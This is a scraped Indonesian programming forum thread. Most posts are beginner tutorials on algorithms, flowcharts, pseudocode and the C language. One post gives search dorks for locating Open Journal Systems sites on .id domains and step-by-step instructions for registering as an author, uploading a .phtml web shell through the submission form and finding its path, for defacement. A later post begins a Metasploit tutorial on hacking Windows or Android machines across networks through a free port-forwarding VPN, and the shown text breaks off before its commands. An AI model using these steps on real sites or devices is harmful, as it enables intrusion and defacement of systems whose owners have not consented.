adalah langkah-langkah penyelesaikan masalah, sedangkan program adalah realisasi algoritma dalam bahasa pemrograman. Program ditulis dalam salah satu bahasa pemrograman dan kegiatan membuat program disebut pemrograman (programming). Orang yang menulis program disebut pemrogram (programmer). Tiap-tiap langkah di dalam program disebut pernyataan atau instruksi. Jadi, program tersusun atas sederetan instruksi. Bila suatu instruksi dilaksanakan, maka operasi-operasi yang bersesuaian dengan instruksi tersebut dikerjakan komputer. Secara garis besar komputer tersusun atas empat komponen utama yaitu, piranti masukan, piranti keluaran, unit pemroses utama, dan memori. Unit pemroses utama (Central Processing Unit – CPU) adalah “otak” komputer, yang berfungsi mengerjakan operasi-operasi dasar seperti operasi perbandingan, operasi perhitungan, operasi membaca, dan operasi menulis. Memori adalah komponen yang berfungsi menyimpan atau mengingatingat. Yang disimpan di dalam memori adalah program (berisi operasi-operasi yang akan dikerjakan oleh CPU) dan data atau informasi (sesuatu yang diolah oleh operasi-operasi). Piranti masukan dan keluaran (I/O devices) adalah alat yang memasukkan data atau program ke dalam memori, dan alat yang digunakan komputer untuk mengkomunikasikan hasil-hasil aktivitasnya. Contoh piranti masukan antara lain, papan kunci (keyboard), pemindai (scanner), dan cakram (disk). Contoh piranti keluaran adalah, layar peraga (monitor), pencetak (printer), dan cakram. Mekanisme kerja keempat komponen di atas dapat dijelaskan sebagai berikut. Mula-mula program dimasukkan ke dalam memori komputer. Ketika program dilaksanakan (execute), setiap instruksi yang telah tersimpan di dalam memori dikirim ke CPU. CPU mengerjakan operasioperasi yang bersesuaian dengan instruksi tersebut. Bila suatu operasi memerlukan data, data dibaca dari piranti masukan, disimpan di dalam memori lalu dikirim ke CPU untuk operasi yang memerlukannya tadi. Bila proses menghasilkan keluaran atau informasi, keluaran disimpan ke dalam memori, lalu memori menuliskan keluaran tadi ke piranti keluaran (misalnya dengan menampilkannya di layar monitor). 6. Belajar Memprogram dan Belajar Bahasa Pemrograman Belajar memprogram tidak sama dengan belajar bahasa pemrograman. Belajar memprogram adalah belajar tentang metodologi pemecahan masalah, kemudian menuangkannya dalam suatu notasi tertentu yang mudah dibaca dan dipahami. Sedangkan belajar bahasa pemrograman berarti belajar memakai suatu bahasa aturan-aturan tata bahasanya, pernyataan-pernyataannya, tata cara pengoperasian compiler-nya, dan memanfaatkan pernyataan-pernyataan tersebut untuk membuat program yang ditulis hanya dalam bahasa itu saja. Sampai saat ini terdapat puluhan bahasa pemrogram, antara lain bahasa rakitan (assembly), Fortran, Cobol, Ada, PL/I, Algol, Pascal, C, C++, Basic, Prolog, LISP, PRG, bahasabahasa simulasi seperti CSMP, Simscript, GPSS, Dinamo. Berdasarkan terapannya, bahasa pemrograman dapat digolongkan atas dua kelompok besar : Bahasa pemrograman bertujuan khusus. Yang termasuk kelompok ini adalah Cobol (untuk terapan bisnis dan administrasi). Fortran (terapan komputasi ilmiah), bahasa rakitan (terapan pemrograman mesin), Prolog (terapan kecerdasan buatan), bahasa-bahasa simulasi, dan sebagainya. Bahasa perograman bertujuan umum, yang dapat digunakan untuk berbagai aplikasi. Yang termasuk kelompok ini adalah bahasa Pascal, Basic dan C. Tentu saja pembagian ini tidak kaku. Bahasabahasabertujuan khusus tidak berarti tidak bisa digunakan untuk aplikasi lain. Cobol misalnya, dapat juga digunakan untuk terapan ilmiah, hanya saja kemampuannya terbatas. Yang jelas, bahasabahasa pemrograman yang berbeda dikembangkan untuk bermacam-macam terapan yang berbeda pula. Berdasarkan pada apakah notasi bahasa pemrograman lebih “dekat” ke mesin atau ke bahasa manusia, maka bahasa pemrograman dikelompokkan atas dua macam : Bahasa tingkat rendah. Bahasa jenis ini dirancang agar setiap instruksinya langsung dikerjakan oleh komputer, tanpa harus melalui penerjemah (translator). Contohnya adalah bahasa mesin. CPU mengambil instruksi dari memori, langsung mengerti dan langsung mengerjakan operasinya. Bahasa tingkat rendah bersifat primitif, sangat sederhana, orientasinya lebih dekat ke mesin, dan sulit dipahami manusia. Sedangkan bahasa rakitan dimasukkan ke dalam kelompok ini karena alasan notasi yang dipakai dalam bahasa ini lebih dekat ke mesin, meskipun untuk melaksanakan instruksinya masih perlu penerjemahan ke dalam bahasa mesin. Bahasa tingkat tinggi, yang membuat pemrograman lebih mudah dipahami, lebih “manusiawi”, dan berorientasi ke bahasa manusia (bahasa Inggris). Hanya saja, program dalam bahasa tingkat tinggi tidak dapat langsung dilaksanakan oleh komputer. Ia perlu diterjemahkan terlebih dahulu oleh sebuah translator bahasa (yang disebut kompilator atau compiler) ke dalam bahasa mesin sebelum akhirnya dieksekusi oleh CPU. Contoh bahasa tingkat tinggi adalah Pascal, PL/I, Ada, Cobol, Basic, Fortran, C, C++, dan sebagainya. Bahasa pemrograman bisa juga dikelompokkan berdasarkan pada tujuan dan fungsinya. Di antaranya adalah : 7. Menilai Sebuah Algoritma Ketika manusia berusaha memecahkan masalah, metode atau teknik yang digunakan untuk memecahkan masalah itu ada kemungkinan bisa banyak (tidak hanya satu). Dan kita memilih mana yang terbaik di antara teknikteknik itu. Hal ini sama juga dengan algoritma, yang memungkinkan suatu permasalahan dipecahkan dengan metode dan logika yang berlainan. Yang menjadi pertanyaan adalah bagaimana mengukur mana algoritma yang terbaik?. Beberapa persyaratan untuk menjadi algoritma yang baik adalah : Tingkat kepercayaannya tinggi (realibility). Hasil yang diperoleh dari proses harus berakurasi tinggi dan benar. Pemrosesan yang efisien (cost rendah). Proses harus diselesaikan secepat mungkin dan frekuensi kalkulasi yang sependek mungkin. Sifatnya general. Bukan sesuatu yang hanya untuk menyelesaikan satu kasus saja, tapi juga untuk kasus lain yang lebih general. Bisa dikembangkan (expandable). Haruslah sesuatu yang dapat kita kembangkan lebih jauh berdasarkan perubahan requirement yang ada. Mudah dimengerti. Siapapun yang melihat, dia akan bisa memahami algoritma Anda. Susah dimengertinya suatu program akan membuat susah di-maintenance (kelola). Portabilitas yang tinggi (portability). Bisa dengan mudah diimplementasikan di berbagai platform komputer. Precise (tepat, betul, teliti). Setiap instruksi harus ditulis dengan seksama dan tidak ada keragu-raguan, dengan demikian setiap instruksi harus dinyatakan secara eksplisit dan tidak ada bagian yang dihilangkan karena pemroses dianggap sudah mengerti. Setiap langkah harus jelas dan pasti. Contoh : Tambahkan 1 atau 2 pada x. Instruksi di atas terdapat keraguan. Jumlah langkah atau instruksi berhingga dan tertentu. Artinya, untuk kasus yang sama banyaknya, langkah harus tetap dan tertentu meskipun datanya berbeda. Efektif. Tidak boleh ada instruksi yang tidak mungkin dikerjakan oleh pemroses yang akan menjalankannya. Contoh : Hitung akar 2 dengan presisi sempurna. Instruksi di atas tidak efektif, agar efektif instruksi tersebut diubah. Misal : Hitung akar 2 sampai lima digit di belakang koma. Harus terminate. Jalannya algoritma harus ada kriteria berhenti. Pertanyaannya adalah apakah bila jumlah instruksinya berhingga maka pasti terminate? Output yang dihasilkan tepat. Jika langkah-langkah algoritmanya logis dan diikuti dengan seksama maka dihasilkan output yang diinginkan. Sedangkan kriteria Algoritma menurut Donald E. Knuth adalah : Input: algoritma dapat memiliki nol atau lebih inputan dari luar. Output: algoritma harus memiliki minimal satu buah output keluaran. Definiteness (pasti): algoritma memiliki instruksi-instruksi yang jelas dan tidak ambigu. Finiteness (ada batas): algoritma harus memiliki titik berhenti (stopping role). Effectiveness (tepat dan efisien): algoritma sebisa mungkin harus dapat dilaksanakan dan efektif. Contoh instruksi yang tidak efektif adalah: A = A + 0 atau A = A * 1 Namun ada beberapa program yang memang dirancang untuk unterminatable : contoh Sistem Operasi. 8. Penyajian Algoritma Penyajian algoritma secara garis besar bisa dalam 2 bentuk penyajian yaitu tulisan dan gambar. Algoritma yang disajikan dengan tulisan yaitu dengan struktur bahasa tertentu (misalnya bahasa Indonesia atau bahasa Inggris) dan pseudocode. Pseudocode adalah kode yang mirip dengan kode pemrograman yang sebenarnya seperti Pascal, atau C, sehingga lebih tepat digunakan untuk menggambarkan algoritma yang akan dikomunikasikan kepada pemrogram. Sedangkan algoritma disajikan dengan gambar, misalnya dengan flowchart. Secara umum, pseudocode mengekspresikan ide-ide secara informal dalam proses penyusunan algoritma. Salah satu cara untuk menghasilkan kode pseudo adalah dengan meregangkan aturan-aturan bahasa formal yang dengannya versi akhir dari algoritma akan diekspresikan. Pendekatan ini umumnya digunakan ketika bahasa pemrograman yang akan digunakan telah diketahui sejak awal. Flowchart merupakan gambar atau bagan yang memperlihatkan urutan dan hubungan antar proses beserta pernyataannya. Gambaran ini dinyatakan dengan simbol. Dengan demikian setiap simbol menggambarkan proses tertentu. Sedangkan antara proses digambarkan dengan garis penghubung. Dengan menggunakan flowchart akan memudahkan kita untuk melakukan pengecekan bagian-bagian yang terlupakan dalam analisis masalah. Di samping itu flowchart juga berguna sebagai fasilitas untuk berkomunikasi antara pemrogram yang bekerja dalam tim suatu proyek. Ada dua macam flowchart yang menggambarkan proses dengan komputer, yaitu : Flowchart sistem yaitu bagan dengan simbol-simbol tertentu yang menggambarkan urutan prosedur dan proses suatu file dalam suatu media menjadi file di dalam media lain, dalam suatu sistem pengolahan data. Beberapa contoh Flowchart sistem: Flowchart program yaitu bagan dengan simbol-simbol tertentu yang menggambarkan urutan proses dan hubungan antar proses secara mendetail di dalam suatu program. Kaidah-Kaidah Umum Pembuatan Flowchart Program Dalam pembuatan flowchart Program tidak ada rumus atau patokan yang bersifat mutlak. Karena flowchart merupakan gambaran hasil pemikiran dalam menganalisis suatu masalah dengan komputer. Sehingga flowchart yang dihasilkan dapat bervariasi antara satu pemrogram dengan yang lainnya. Namun secara garis besar setiap pengolahan selalu terdiri atas 3 bagian utama, yaitu : Input, Proses pengolahan dan Output Untuk pengolahan data dengan komputer, urutan dasar pemecahan suatu masalah: START, berisi pernyataan untuk persiapan peralatan yang diperlukan sebelum menangani pemecahan persoalan. READ, berisi pernyataan kegiatan untuk membaca data dari suatu peralatan input. PROSES, berisi kegiatan yang berkaitan dengan pemecahan persoalan sesuai dengan data yang dibaca. WRITE, berisi pernyataan untuk merekam hasil kegiatan ke peralatan output. END, mengakhiri kegiatan pengolahan. Walaupun tidak ada kaidah-kaidah yang baku dalam penyusunan flowchart, namun ada beberapa anjuran : Hindari pengulangan proses yang tidak perlu dan logika yang berbelit sehingga jalannya proses menjadi singkat. Jalannya proses digambarkan dari atas ke bawah dan diberikan tanda panah untuk memperjelas. Sebuah flowchart diawali dari satu titik START dan diakhiri dengan END. Berikut merupakan beberapa contoh simbol flowchart yang disepakati oleh dunia pemrograman : Untuk memahami lebih dalam mengenai flowchart ini, akan diambil sebuah kasus sederhana. Kasus : Buatlah sebuah rancangan program dengan menggunakan flowchart, mencari luas persegi panjang. Solusi : Perumusan untuk mencari luas persegi panjang adalah : L = p . l di mana, L adalah Luas persegi panjang, p adalah panjang persegi, dan l adalah lebar persegi. Keterangan : Simbol pertama menunjukkan dimulainya sebuah program. Simbol kedua menunjukkan bahwa input data dari p dan l. Data dari p dan l akan diproses pada simbol ketiga dengan menggunakan perumusan L = p. l. Simbol keempat menunjukkan hasil output dari proses dari simbol ketiga. Simbol kelima atau terakhir menunjukkan berakhirnya program dengan tanda End. 9. Struktur Dasar Algoritma Algoritma berisi langkah-langkah penyelesaian suatu masalah. Langkah-langkah tersebut dapat berupa runtunan aksi (sequence), pemilihan aksi (selection), pengulangan aksi (iteration) atau kombinasi dari ketiganya. Jadi struktur dasar pembangunan algoritma ada tiga, yaitu: Struktur Runtunan Digunakan untuk program yang pernyataannya sequential atau urutan. Struktur Pemilihan Digunakan untuk program yang menggunakan pemilihan atau penyeleksian kondisi. Struktur Perulangan Digunakan untuk program yang pernyataannya akan dieksekusi berulang-ulang. Dalam Algoritma, tidak dipakai simbol-simbol / sintaks dari suatu bahasa pemrograman tertentu, melainkan bersifat umum dan tidak tergantung pada suatu bahasa pemrograman apapun juga. Notasi-notasi algoritma dapat digunakan untuk seluruh bahasa pemrograman manapun. Definisi Pseudo-code Kode atau tanda yang menyerupai (pseudo) atau merupakan penjelasan cara menyelesaikan suatu masalah. Pseudo-code sering digunakan oleh manusia untuk menuliskan algoritma. Contoh kasus : mencari bilangan terbesar dari dua bilangan yang diinputkan Solusi Pseudo-code : Masukkan bilangan pertama Masukkan bilangan kedua Jika bilangan pertama > bilangan kedua maka kerjakan langkah 4, jika tidak, kerjakan langkah 5. Tampilkan bilangan pertama Tampilkan bilangan kedua Solusi Algoritma : Masukkan bilangan pertama (a) Masukkan bilangan kedua (b) if a > b then kerjakan langkah 4 print a print b Contoh Lain Algortima dan Pseudo-code : 10. Tahapan dalam Pemrograman Langkah-langkah yang dilakukan dalam menyelesaikan masalah dalam pemrograman dengan komputer adalah : Definisikan Masalah Buat Algoritma dan Struktur Cara Penyelesaian Menulis Program Mencari Kesalahan Uji dan Verifikasi Program Dokumentasi Program Pemeliharaan Program Sumber : http://lecturer.ukdw.ac.id/anton/download/strukdat1.pdf http://usupress.usu.ac.id/file /Algoritma%20dan%20Pemrograman;%20Teori%20dan%20Praktik%20dalam%20Pascal%20Edisi%20Kedua_Normal_bab%201.pdf
  3. Lu termasuk nick yang mana gan? ?
  4. Makasi bang, smoga forum ini bisa membantu
  5. Bener bang, saya juga masih belajar hehe...
  6. agar membuat website mobilib lebih efisien, maka saya selaku founder ingin memilih ulang admin yang aktif dan menambahkan admin baru.
  7. Apa itu bahasa pemrograman C? Apa gunanya? dan kenapa harus dipelajari? Dalam tutorial pertama dari seri belajar bahasa pemrograman C di duniailkom kali ini kita akan membahas semuanya, yang diawali dengan pengertian bahasa pemrograman C. Pengertian Bahasa Pemrograman C Bahasa Pemrograman C adalah sebuah bahasa pemrograman komputer yang bisa digunakan untuk membuat berbagai aplikasi (general-purpose programming language), mulai dari sistem operasi (seperti Windows atau Linux), antivirus, software pengolah gambar (image processing), hingga compiler untuk bahasa pemrograman, dimana C banyak digunakan untuk membuat bahasa pemrograman lain yang salah satunya adalah PHP. Meskipun termasuk general-purpose programming language, yakni bahasa pemrograman yang bisa membuat berbagai aplikasi, bahasa pemrograman C paling cocok merancang aplikasi yang berhubungan langsung dengan Sistem Operasi dan hardware. Ini tidak terlepas dari tujuan awal bahasa C dikembangkan. Bahasa pemrograman C dibuat pertama kali oleh Dennis M. Ritchie pada tahun 1972. Saat itu Ritchie bekerja di Bell Labs, sebuah pusat penelitian yang berlokasi di Murray Hill, New Jersey, Amerika Serikat. Ritchie membuat bahasa pemrograman C untuk mengembangkan sistem operasi UNIX. Sebelumnya, sistem operasi UNIX dibuat menggunakan bahasa assembly (assembly language). Akan tetapi bahasa assembly sendiri sangat rumit dan susah untuk dikembangkan. Dengan tujuan mengganti bahasa assembly, peneliti di Bell Labs membuat bahasa pemrograman B. Namun bahasa pemrograman B juga memiliki beberapa kekurangan, yang akhirnya di lengkapi oleh bahasa pemrograman C. Dengan bahasa C inilah sistem operasi UNIX ditulis ulang. Pada gilirannya, UNIX menjadi dasar dari banyak sistem operasi modern saat ini, termasuk Linux, Mac OS (iOS), hingga sistem operasi Android. Fitur dan Keunggulan Bahasa Pemrograman C Berikut beberapa fitur serta keunggulan bahasa pemrograman C jika dibandingkan dengan bahasa pemrograman lain: C sebagai bahasa pemrograman prosedural Konsep pemrograman prosedural adalah sebuah metode pemrograman yang setiap baris perintah diproses secara berurutan dari baris paling atas hingga baris paling bawah. Selain itu bisa terdapat fungsi tambahan (function) yang digunakan untuk menyelesaikan berbagai tugas. Bahasa pemrograman C termasuk ke dalam kelompok ini. Selain konsep prosedural, terdapat juga konsep pemrograman object (object-oriented programming). Di dalam bahasa pemrograman object, setiap tugas akan dijalankan menggunakan class dan object. Contoh bahasa pemrogaman object adalah JAVA. Bagi pemula, sangat disarankan untuk mempelajari bahasa pemrograman prosedural terlebih dahulu, baru kemudian masuk ke dalam bahasa pemrograman object. Ini juga menjadi alasan untuk belajar bahasa C terlebih dulu baru kemudian masuk ke bahasa pemrogaman object seperti JAVA. Beberapa bahasa pemrograman juga mendukung konsep prosedural dan object sekaligus, contohnya bahasa pemrograman C++ dan PHP. Bahasa C sangat cepat dan efisien Aplikasi yang dibuat menggunakan bahasa C bisa dieksekusi dengan sangat cepat serta berukuran kecil. Ini karena C bisa langsung berkomunikasi dengan hardware, sebuah fitur yang jarang tersedia di bahasa pemrograman modern seperti JAVA, PHP, maupun Phyton. Akan tetapi, hal ini juga memiliki kelemahan. Bahasa C relatif sederhana dan tidak memiliki fitur-fitur modern seperti garbage collection dan dynamic typing. C adalah portable language Maksudnya, bahasa pemrograman C bisa di-compile ulang supaya berjalan di berbagai sistem operasi tanpa perlu mengubah kode-kode yang ada. Aplikasi yang dibuat di Windows dengan bahasa C, bisa dipindahkan ke Linux dengan sedikit atau tanpa modifikasi. C merupakan “induk” dari bahasa pemrograman modern Bahasa pemrograman C banyak menginspirasi bahasa pemrograman lain, seperti C++, C#, Objective C, PHP, JAVA, JavaScript dan masih banyak lagi. Dengan mempelajari bahasa C, anda akan familiar dan lebih mudah saat berpindah ke bahasa pemrograman lain yang merupakan turunan dari C. Haruskah Saya Mempelajari Bahasa C? Jawaban singkatnya: Anda tidak harus belajar bahasa C. Sama seperti bahasa Pascal, bahasa C saat ini kebanyakan dipakai sebagai bahasa pengantar untuk mempelajari algoritma. Dimana algoritma itu sendiri merupakan kumpulan instruksi untuk memecahkan masalah. Sepanjang tutorial bahasa C di duniailkom, kita juga hanya menampilkan hasil program ke dalam bentuk teks yang mirip aplikasi DOS. Belum sampai ke membuat aplikasi “sebenarnya” yang menggunakan tampilan grafis, gambar, mouse, dan efek-efek menarik lainnya. Namun ini bukan berarti C tidak bermanfaat. Seperti yang saya singgung di keunggulan bahasa C, C merupakan “induk” dari berbagai bahasa pemrograman modern. Dengan mempelajari C, anda juga mempelajari dasar dari pemrograman. Ibarat sedang membangun rumah, apa yang akan dipelajari disini barulah cara mengaduk semen, cara menyusun bata, atau cara membuat pondasi. “Rumahnya” nanti akan lebih cepat dibuat menggunakan bahasa pemrograman yang lebih modern. Jika anda ingin membuat aplikasi yang siap pakai dan memiliki tampilan modern, bisa langsung ke bahasa “visual” seperti Visual Basic, Visual C++, HTML, PHP, dll. Alasan lain untuk belajar bahasa C adalah jika saat ini anda sedang berkuliah di jurusan komputer, atau ingin masuk ke jurusan komputer. Karena hampir selalu akan ketemu bahasa pemrograman C di awal-awal perkuliahan, dimana bahasa C, Pascal, dan C++ banyak dipakai sebagai bahasa pemrograman untuk belajar dasar algoritma. Setelah membahas pengertian bahasa C, keunggulannya dan alasan untuk mempelajari bahasa C, berikutnya kita akan lihat bagaimana sejarah dan perkembangan dari bahasa C yang sudah berumur 45 tahun. (Source: http://www.duniailkom.com/tutorial-belajar-c-pengertian-bahasa-pemrograman-c/ )
  8. Apa itu bahasa pemrograman C? Apa gunanya? dan kenapa harus dipelajari? Dalam tutorial pertama dari seri belajar bahasa pemrograman C di duniailkom kali ini kita akan membahas semuanya, yang diawali dengan pengertian bahasa pemrograman C. Pengertian Bahasa Pemrograman C Bahasa Pemrograman C adalah sebuah bahasa pemrograman komputer yang bisa digunakan untuk membuat berbagai aplikasi (general-purpose programming language), mulai dari sistem operasi (seperti Windows atau Linux), antivirus, software pengolah gambar (image processing), hingga compiler untuk bahasa pemrograman, dimana C banyak digunakan untuk membuat bahasa pemrograman lain yang salah satunya adalah PHP. Meskipun termasuk general-purpose programming language, yakni bahasa pemrograman yang bisa membuat berbagai aplikasi, bahasa pemrograman C paling cocok merancang aplikasi yang berhubungan langsung dengan Sistem Operasi dan hardware. Ini tidak terlepas dari tujuan awal bahasa C dikembangkan. Bahasa pemrograman C dibuat pertama kali oleh Dennis M. Ritchie pada tahun 1972. Saat itu Ritchie bekerja di Bell Labs, sebuah pusat penelitian yang berlokasi di Murray Hill, New Jersey, Amerika Serikat. Ritchie membuat bahasa pemrograman C untuk mengembangkan sistem operasi UNIX. Sebelumnya, sistem operasi UNIX dibuat menggunakan bahasa assembly (assembly language). Akan tetapi bahasa assembly sendiri sangat rumit dan susah untuk dikembangkan. Dengan tujuan mengganti bahasa assembly, peneliti di Bell Labs membuat bahasa pemrograman B. Namun bahasa pemrograman B juga memiliki beberapa kekurangan, yang akhirnya di lengkapi oleh bahasa pemrograman C. Dengan bahasa C inilah sistem operasi UNIX ditulis ulang. Pada gilirannya, UNIX menjadi dasar dari banyak sistem operasi modern saat ini, termasuk Linux, Mac OS (iOS), hingga sistem operasi Android. Fitur dan Keunggulan Bahasa Pemrograman C Berikut beberapa fitur serta keunggulan bahasa pemrograman C jika dibandingkan dengan bahasa pemrograman lain: C sebagai bahasa pemrograman prosedural Konsep pemrograman prosedural adalah sebuah metode pemrograman yang setiap baris perintah diproses secara berurutan dari baris paling atas hingga baris paling bawah. Selain itu bisa terdapat fungsi tambahan (function) yang digunakan untuk menyelesaikan berbagai tugas. Bahasa pemrograman C termasuk ke dalam kelompok ini. Selain konsep prosedural, terdapat juga konsep pemrograman object (object-oriented programming). Di dalam bahasa pemrograman object, setiap tugas akan dijalankan menggunakan class dan object. Contoh bahasa pemrogaman object adalah JAVA. Bagi pemula, sangat disarankan untuk mempelajari bahasa pemrograman prosedural terlebih dahulu, baru kemudian masuk ke dalam bahasa pemrograman object. Ini juga menjadi alasan untuk belajar bahasa C terlebih dulu baru kemudian masuk ke bahasa pemrogaman object seperti JAVA. Beberapa bahasa pemrograman juga mendukung konsep prosedural dan object sekaligus, contohnya bahasa pemrograman C++ dan PHP. Bahasa C sangat cepat dan efisien Aplikasi yang dibuat menggunakan bahasa C bisa dieksekusi dengan sangat cepat serta berukuran kecil. Ini karena C bisa langsung berkomunikasi dengan hardware, sebuah fitur yang jarang tersedia di bahasa pemrograman modern seperti JAVA, PHP, maupun Phyton. Akan tetapi, hal ini juga memiliki kelemahan. Bahasa C relatif sederhana dan tidak memiliki fitur-fitur modern seperti garbage collection dan dynamic typing. C adalah portable language Maksudnya, bahasa pemrograman C bisa di-compile ulang supaya berjalan di berbagai sistem operasi tanpa perlu mengubah kode-kode yang ada. Aplikasi yang dibuat di Windows dengan bahasa C, bisa dipindahkan ke Linux dengan sedikit atau tanpa modifikasi. C merupakan “induk” dari bahasa pemrograman modern Bahasa pemrograman C banyak menginspirasi bahasa pemrograman lain, seperti C++, C#, Objective C, PHP, JAVA, JavaScript dan masih banyak lagi. Dengan mempelajari bahasa C, anda akan familiar dan lebih mudah saat berpindah ke bahasa pemrograman lain yang merupakan turunan dari C. Haruskah Saya Mempelajari Bahasa C? Jawaban singkatnya: Anda tidak harus belajar bahasa C. Sama seperti bahasa Pascal, bahasa C saat ini kebanyakan dipakai sebagai bahasa pengantar untuk mempelajari algoritma. Dimana algoritma itu sendiri merupakan kumpulan instruksi untuk memecahkan masalah. Sepanjang tutorial bahasa C di duniailkom, kita juga hanya menampilkan hasil program ke dalam bentuk teks yang mirip aplikasi DOS. Belum sampai ke membuat aplikasi “sebenarnya” yang menggunakan tampilan grafis, gambar, mouse, dan efek-efek menarik lainnya. Namun ini bukan berarti C tidak bermanfaat. Seperti yang saya singgung di keunggulan bahasa C, C merupakan “induk” dari berbagai bahasa pemrograman modern. Dengan mempelajari C, anda juga mempelajari dasar dari pemrograman. Ibarat sedang membangun rumah, apa yang akan dipelajari disini barulah cara mengaduk semen, cara menyusun bata, atau cara membuat pondasi. “Rumahnya” nanti akan lebih cepat dibuat menggunakan bahasa pemrograman yang lebih modern. Jika anda ingin membuat aplikasi yang siap pakai dan memiliki tampilan modern, bisa langsung ke bahasa “visual” seperti Visual Basic, Visual C++, HTML, PHP, dll. Alasan lain untuk belajar bahasa C adalah jika saat ini anda sedang berkuliah di jurusan komputer, atau ingin masuk ke jurusan komputer. Karena hampir selalu akan ketemu bahasa pemrograman C di awal-awal perkuliahan, dimana bahasa C, Pascal, dan C++ banyak dipakai sebagai bahasa pemrograman untuk belajar dasar algoritma. Setelah membahas pengertian bahasa C, keunggulannya dan alasan untuk mempelajari bahasa C, berikutnya kita akan lihat bagaimana sejarah dan perkembangan dari bahasa C yang sudah berumur 45 tahun. (Source: http://www.duniailkom.com/tutorial-belajar-c-pengertian-bahasa-pemrograman-c/ )
  9. Kalo gue kadang suka nanya ke diri sendiri, terus jawab sendiri, terus kadang ada jawaban beda lagi, serasa ngomong bertiga....
  10. Bahasa pemrograman semakin banyak dipelajari oleh banyak orang. Hal ini terkait dengan kemajuan zaman yang menjadikan teknologi sebagai hal penting untuk menunjang kemajuan. Bagi pembaca yang ingin mempelajari bahasa pemrograman, hal dasar yang harus dipahami adalah algoritma pemrograman tersebut. Untuk mengerti apa itu algoritma pemrograman, silahkan simak pembahasan di bawah ini. Dalam matematika dan ilmu komputer, algoritma adalah urutan atau langkah-langkah untuk penghitungan atau untuk menyelesaikan suatu masalah yang ditulis secara berurutan. Sehingga, algoritma pemrograman adalah urutan atau langkah-langkah untuk menyelesaikan masalah pemrograman komputer. Dalam pemrograman, hal yang penting untuk dipahami adalah logika kita dalam berpikir bagaimana cara untuk memecahkan masalah pemrograman yang akan dibuat. Sebagai contoh, banyak permasalahan matematika yang mudah jika diselesaikan secara tertulis, tetapi cukup sulit jika kita terjemahkan ke dalam pemrograman. Dalam hal ini, algoritma dan logika pemrograman akan sangat penting dalam pemecahan masalah. Untuk contoh algoritma dalam matematika seperti di bawah ini: Algoritma untuk menghitung nilai y dari persamaan y = 3x + 8 Algoritmanya adalah: Mulai Tentukan nilai x Hitung nilai y = 3x + 8 Cetak nilai x dan y Selesai Walaupun algoritma bisa dibilang jantung ilmu komputer atau informatika, tetapi jangan beranggapan bahwa algoritma selalu identik dengan ilmu komputer saja. Dalam kehidupan sehari-hari, terdapat banyak proses yang dinyatakan dalam suatu algoritma. Misal cara memasak mie, cara membuat kue, dan lainnya. Jika kita buat algoritma memasak mie akan seperti di bawah ini: Siapkan 1 bungkus mie instan, 400 ml air (2 gelas), panci, mangkok, sendok, dan garpu Masukkan 400 ml air kedalam panci Masak air Tunggu hingga mendidih Masukkan mie kedalam panci yang sudah berisi air mendidih Tunggu dan aduk hingga 3 menit Jika sudah matang masukkan bumbu Aduk hingga rata Sajikan mie Penyajian algoritma secara garis besar dapat dibagi dalam dua bentuk penyajian yaitu tulisan dan gambar. Algoritma yang disajikan dengan tulisan yaitu dengan struktur bahasa tertentu (misalnya bahasa Indonesia atau bahasa Inggris) dan pseudocode. Pseudocode adalah kode yang mirip dengan kode pemrograman yang sebenarnya seperti Pascal, atau C, sehingga tepat digunakan dalam menggambarkan algoritma yang akan dikomunikasikan kepada programmer. Sedangkan untuk algoritma yang disajikan dengan gambar adalah dengan flowchart. Flowcart adalah bagan (chart) yang menunjukkan alir (flow) di dalam program atau merupakan prosedur sistem secara logika. Flowcart digunakan untuk alat bantu komunikasi dan untuk dokumentasi.
  11. Selalu ada cara belegug,,,
  12. OJS Adalah sebuah aplikasi Journal terbuka untuk Management yang biasa di gunakan dalam pemerintah, pendidikan & lembaga lain. Type : Uploader File Data Dork : index.php/index/user/register index/user/register/ user/register index of files OJS intitle:register "index of files" "OJS" "index of files" "journal article" /ojs/index.php/user/register /journal/index.php/user/register "journal" intext:register inurl:user/register site:.id OpenJournal register "parent directory site:id OpenJournal register "Index Of" site:id /files/journals/1/articles "articles" site:id /files/journals/1/articles "submission" site:id /files/journals/1/articles "register" site:id /submission/original/ "OJS" submission/original/ "OpenJournal" "parent directory" /files/journals/1/submission inurl:/user/register/ "e-journal" /files/journals/1/articles site:id [Search BING] index of parent directory journal article submission [Search BING + GOOGLE] OJS "parent directory" site:id [Search BING + GOOGLE] Vuln : /index.php/index/user/register ( Bisa registrasi ) 1. Kamu harus mendaftar dulu disini > site,com/index.php/index/user/register -Jangan Lupa untuk mencentang Registrasi sebabagi Author / penulis & Jangan ceklis Email konfimasi 2. Setelah Registasi Klik "New Submission" 3. Selesaikan Step 1 4. Di Step 2, kamu dapat upload shell (format shell : a.phtml) 5. Jika sukses maka seperti ini Penjelasan : Filename : 4-4-1-SM.phtml 4 = id user kamu Shell Path : /files/journals/1/articles/[iduser]/submission/original/[nama file].phtml Contoh : files/journals/1/articles/4/submission/original/4-4-1-SM.phtml (source:http://ihsanfadilah14.blogspot.co.id/2017/01/cara-deface-ojs-open-journal-system.html)
  13. Hack Windows atau Android Beda Jaringan Dengan Metasploit Jika sebelumnya saya bahas hack windows dengan metasploit masih dalam ruang lingkup lokal atau terbatas, tapi kali ini saya akan share tutorial bagaimana Hack Windows atau Android Beda Jaringan Dengan Metasploit yg hanya bermodalkan vpn gratisan dari ipjetable. Saya buat tutorial ini karena banyak yg menginginkan tutorial ini, karena cukup bermodalkan vpn gratisan saja terutama di grup Kali Linux Indonesia :). Oke langsung saja kita mulai bahas tutorialnya. Baca juga : Pertama, kita harus menginstall kebutuhan pada desktop kita terlebih dahulu, yaitu vpn nya atau pptp nya dengan mengetikkan perintah berikut diterminal : Setelah menginstall semua kebutuhan untuk exploit ini, Selanjutnya masuk dulu ke web mytemp.email, bisa klik ===> DisiniWeb mytemp.email biasanya digunakan untuk pembuatan email secara instan yg digunakan untuk verifikasi web yg kurang terpercaya. Setelah masuk web mytemp.email, tinggal klik saja "Start Here", lalu secara otomatis kita sudah mempunyai email instan yg akan kita gunakan pada step berikutnya dibagian daftar di ipjetable. Atau kita bisa tambah email lagi dengan klik tombol "New Email". Kemudian kita buka web ipjetablenya untuk mendapatkan vpn yg support port forward yg gratisan :D, oke bisa dibuka dilink berikut ===> Register Ipjetable.net Setelah masuk web ipjetable, buka web mytemp.email tadi, lalu copykan email yg sudah jadi di web tersebut, misal hajs@c.kadag.ir, lalu copykan ke kolom register email di ipjetable, lalu isi captcha yg dibagian bawah kolom pengisian email tadi, dan biarkan kosong kolom yg dibawahnya lagi yg bertuliskan 16 letters, lalu klik tombol yg kuning "S'inscrire". Jika sudah mengklik tombol 